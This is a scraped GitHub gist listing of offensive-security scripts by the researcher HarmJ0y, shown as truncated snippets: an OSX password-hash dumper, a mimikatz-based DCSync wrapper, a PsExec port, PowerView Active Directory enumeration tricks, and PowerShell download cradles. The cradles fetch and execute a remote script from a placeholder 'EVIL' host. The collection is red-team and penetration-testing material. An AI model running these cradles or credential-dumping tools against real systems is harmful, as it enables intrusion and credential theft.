Skip to content

Instantly share code, notes, and snippets.

View HarmJ0y's full-sized avatar
💭
Coding towards chaotic good while living on the decision boundary

Will HarmJ0y

💭
Coding towards chaotic good while living on the decision boundary
View GitHub Profile
@HarmJ0y
HarmJ0y / ShareAudit.ps1
Created February 7, 2016 03:17
ShareAudit.ps1
#requires -version 2
<#
PowerSploit File: PowerView.ps1
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
@HarmJ0y
HarmJ0y / osx_hashdump.py
Created January 12, 2016 04:30
osx_hashdump.py
#!/usr/bin/python
# extracts OSX user hashes and outputs a format crackable with oclHashcat
# adapted from http://apple.stackexchange.com/questions/186893/os-x-10-9-where-are-password-hashes-stored
# and https://web.archive.org/web/20140703020831/http://www.michaelfairley.co/blog/2014/05/18/how-to-extract-os-x-mavericks-password-hash-for-cracking-with-hashcat/
#
# automation of approach by @harmj0y
#
# sudo ./osx_hashdump.py
# ./oclHashcat64.bin -m 7100 hash.txt wordlist.txt
@HarmJ0y
HarmJ0y / Invoke-HostFile.ps1
Last active September 12, 2022 01:55
Host a single binary file without needing administrative privileges
Function Invoke-HostFile {
<#
.SYNOPSIS
Hosts a base64 string representation of a binary file or a given
$FilePath on the specified $Port. Any HTTP request to the given
host/port will return the binary data of the specified file.
.PARAMETER Base64File
@HarmJ0y
HarmJ0y / Invoke-DCSync.ps1
Last active February 2, 2021 10:46 — forked from monoxgas/Invoke-DCSync.ps1
What more could you want?
This file has been truncated, but you can view the full file.
function Invoke-DCSync
{
<#
.SYNOPSIS
Uses dcsync from mimikatz to collect NTLM hashes from the domain.
Author: @monoxgas
Invoke-ReflectivePEInjection
@HarmJ0y
HarmJ0y / Invoke-ThreadedFunction.ps1
Created October 25, 2015 06:04
Invoke-ThreadedFunction
function Invoke-ThreadedFunction {
[CmdletBinding()]
param(
[Parameter(Position=0,Mandatory=$True)]
[String[]]
$ComputerName,
[Parameter(Position=1,Mandatory=$True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
@HarmJ0y
HarmJ0y / PowerView-2.0-tricks.ps1
Last active April 8, 2024 03:40
PowerView-2.0 tips and tricks
# NOTE: the most updated version of PowerView (http://www.harmj0y.net/blog/powershell/make-powerview-great-again/)
# has an updated tricks Gist at https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
# get all the groups a user is effectively a member of, 'recursing up'
Get-NetGroup -UserName <USER>
# get all the effective members of a group, 'recursing down'
Get-NetGroupMember -GoupName <GROUP> -Recurse
# get the effective set of users who can administer a server
@HarmJ0y
HarmJ0y / Translate-Canonical.ps1
Created September 17, 2015 22:39
Translate-Canonical
function Translate-Canonical {
<#
.SYNOPSIS
Converts a user@fqdn to NT4 format.
.LINK
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
#>
[CmdletBinding()]
param(
[String]$User
@HarmJ0y
HarmJ0y / psWar.py
Created September 15, 2015 07:51
PsWar
#!/usr/bin/python
# Code that quickly generates a deployable .war for a PowerShell one-liner
import zipfile
import StringIO
import sys
def generatePsWar(psCmd, appName):
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active May 4, 2024 08:16
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@HarmJ0y
HarmJ0y / Invoke-Psexec.ps1
Last active September 12, 2022 02:41
Invoke-Psexec
function Invoke-PsExec {
<#
.SYNOPSIS
This function is a rough port of Metasploit's psexec functionality.
It utilizes Windows API calls to open up the service manager on
a remote machine, creates/run a service with an associated binary
path or command, and then cleans everything up.
Either a -Command or a custom -ServiceEXE can be specified.
For -Commands, a -ResultsFile can also be specified to retrieve the